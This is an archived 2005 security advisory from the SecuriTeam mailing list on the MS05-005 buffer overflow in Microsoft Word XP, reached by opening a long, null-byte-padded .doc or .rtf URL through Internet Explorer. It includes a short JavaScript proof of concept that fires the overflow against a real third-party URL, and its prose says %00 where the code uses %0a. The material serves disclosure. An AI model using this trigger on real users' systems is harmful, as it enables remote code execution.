

[NT] Microsoft Office XP Remote Buffer Overflow Technical Details (MS05-005)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0033.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/13/05

To: list@securiteam.com

Date: 13 Feb 2005 11:08:27 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.secureteam.com/maillinglist.html>

Microsoft Office XP Remote Buffer Overflow Technical Details (MS05-005)

SUMMARY

A new vulnerability in Microsoft Word XP allows an attacker to launch a buffer overflow attack. This attack could occur when a user opened a Word document using Internet Explorer.

DETAILS

When a ".doc" file is opened inside Internet Explorer, Microsoft Word XP "takes over" and opens that doc file. The problem appears when sending a doc file request that contains a null byte (parser) at the end of the doc filename (the rtf extension is also vulnerable).

For Example:

<http://example.com/myfile.doc> is a valid request.

However the following:

<http://example.com/myfile.doc%00aaaaaaaaaaaaaaaaaaaaaaaaaa...aa.doc> is an invalid request. Such a request will be sent to the server hosting the doc file.

Most servers like IIS and Apache will truncate the characters before the

Securiteam: [NT] Microsoft Office XP Remote Buffer Overflow Technical Details (MS05-005)

%00 while sending the filename to Internet Explorer. At this stage, Internet Explorer will hand over the string to Microsoft Word XP, which will now receive a long string. This string causes an exploitable buffer overflow, allowing remote code execution.

Proof of Concept Code:

```
<Script>
var mylongstring,myjunk;
mylongstring="";
myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbb";
for(c=1;c<5000;c++)
{
  mylongstring = mylongstring + myjunk;
}
window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring);
</script>
```

Vendor Status:

Microsoft was notified on July 13, 2004. Microsoft released an advisory and patches to this vulnerability. For further details please refer to: <<http://www.microsoft.com/technet/security/bulletin/ms05-005.msp>> Vulnerability in Microsoft Office XP could allow Remote Code Execution (MS05-005)

ADDITIONAL INFORMATION

The information has been provided by <<mailto:rivgi@finjan.com>> Rafel Ivgi.

=====

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.